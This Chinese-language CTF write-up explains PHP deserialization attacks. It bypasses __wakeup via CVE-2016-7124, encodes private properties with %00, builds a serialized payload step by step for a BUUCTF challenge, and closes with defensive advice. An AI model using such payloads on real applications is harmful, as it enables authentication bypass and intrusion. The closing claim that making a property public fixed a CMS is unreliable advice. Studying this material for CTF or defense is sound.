PHP反序列化漏洞实战：从一道BUUCTF题看__wakeup绕过的那些坑（含payload构造详解）
PHP反序列化漏洞深度剖析：从__wakeup绕过到私有属性操控实战
在CTF竞赛和实际渗透测试中，PHP反序列化漏洞一直是高危漏洞的常客。这类漏洞往往能直接导致远程代码执行或敏感信息泄露，而其中最具挑战性的部分莫过于绕过各种安全防护机制。今天我们就从一个典型的CTF题目出发，深入探讨PHP反序列化中的核心技术点——如何巧妙绕过__wakeup方法，同时处理私有属性的特殊序列化格式。
1. 反序列化基础与魔术方法解析
PHP的反序列化过程远比表面看起来复杂。当unserialize()函数处理一个序列化字符串时，PHP会按照特定顺序调用对象的魔术方法，这些方法的执行顺序直接影响漏洞利用的成功率。
1.1 关键魔术方法执行顺序
- __construct()：仅在对象被new实例化时调用，反序列化过程中不会触发
- __wakeup()：在反序列化完成后立即调用，常用于资源重新初始化
- __destruct()：在对象销毁时调用，通常是漏洞触发的关键点
class VulnerableClass { public function __construct() { echo "构造方法执行\n"; } public function __wakeup() { echo "唤醒方法执行\n"; } public function __destruct() { echo "析构方法执行\n"; } } // 序列化示例 $serialized = serialize(new VulnerableClass()); // 输出：构造方法执行 // 反序列化示例 unserialize($serialized); // 输出：唤醒方法执行 // 析构方法执行1.2 属性可见性与序列化表示
PHP中不同可见性的属性在序列化字符串中有完全不同的表示方式：
| 可见性 | 序列化前缀 | 示例（属性名"test"） |
|---|---|---|
| public | 无 | s:4:"test";... |
| protected | \0*\0 | s:7:"\0*\0test";... |
| private | \0类名\0 | s:14:"\0Name\0test";... |
特别注意：这些不可见字符在URL传输时需要转换为%00，否则会导致解析失败。
2. __wakeup绕过技术详解
__wakeup方法常被开发者用作反序列化的安全防护措施，但存在一个著名的绕过方式——CVE-2016-7124。
2.1 漏洞原理
当序列化字符串中表示对象属性数量的值大于实际属性数量时，__wakeup()将不会被调用。这个漏洞影响以下PHP版本：
- PHP5 < 5.6.25
- PHP7 < 7.0.10
2.2 实战绕过示例
原始序列化字符串：
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}绕过__wakeup的修改后字符串：
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}关键修改点：
- 将对象属性计数从2改为更大的数字（如3）
- 正确处理私有属性的%00前缀
3. 复杂payload构造实战
在实际漏洞利用中，我们往往需要同时满足多个条件。以示例CTF题目为例，payload需要：
- 绕过__wakeup修改username的行为
- 确保password值为100以通过检查
- 设置username为admin以获取flag
- 正确处理私有属性的序列化格式
3.1 分步构造流程
- 创建恶意对象：
class Name { private $username = 'admin'; private $password = '100'; }- 生成基础序列化字符串：
$payload = serialize(new Name()); // 输出：O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}- 添加私有属性前缀：
- 将"Nameusername"改为"%00Name%00username"
- 将"Namepassword"改为"%00Name%00password"
- 绕过__wakeup：
- 将属性计数从2改为更大的数字（如3或4）
最终payload：
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}3.2 HTTP传输注意事项
由于私有属性包含的%00字符在URL传输时需要特殊处理：
- 确保Web服务器不会过滤%00字符
- 必要时进行双重URL编码
- 测试不同传输方式（GET/POST）的兼容性
4. 防御措施与安全开发建议
理解了攻击原理后，我们更需要知道如何防御这类漏洞。
4.1 安全开发实践
输入验证：
- 永远不要反序列化不可信的输入
- 使用JSON等更安全的格式替代序列化
魔术方法设计：
function __wakeup() { // 重置关键安全属性 $this->isAdmin = false; $this->privileges = []; }- 版本升级：
- 及时升级PHP到不受CVE-2016-7124影响的版本
4.2 安全检测清单
- [ ] 检查所有unserialize()的调用点
- [ ] 验证魔术方法中的安全逻辑
- [ ] 对序列化数据进行签名验证
- [ ] 考虑使用替代方案如json_encode/json_decode
在最近的一次渗透测试中，我们发现一个CMS系统因为未处理私有属性序列化问题，导致攻击者可以绕过认证。通过将私有属性username改为public，系统就成功防御了这类攻击，这再次证明了理解底层原理的重要性。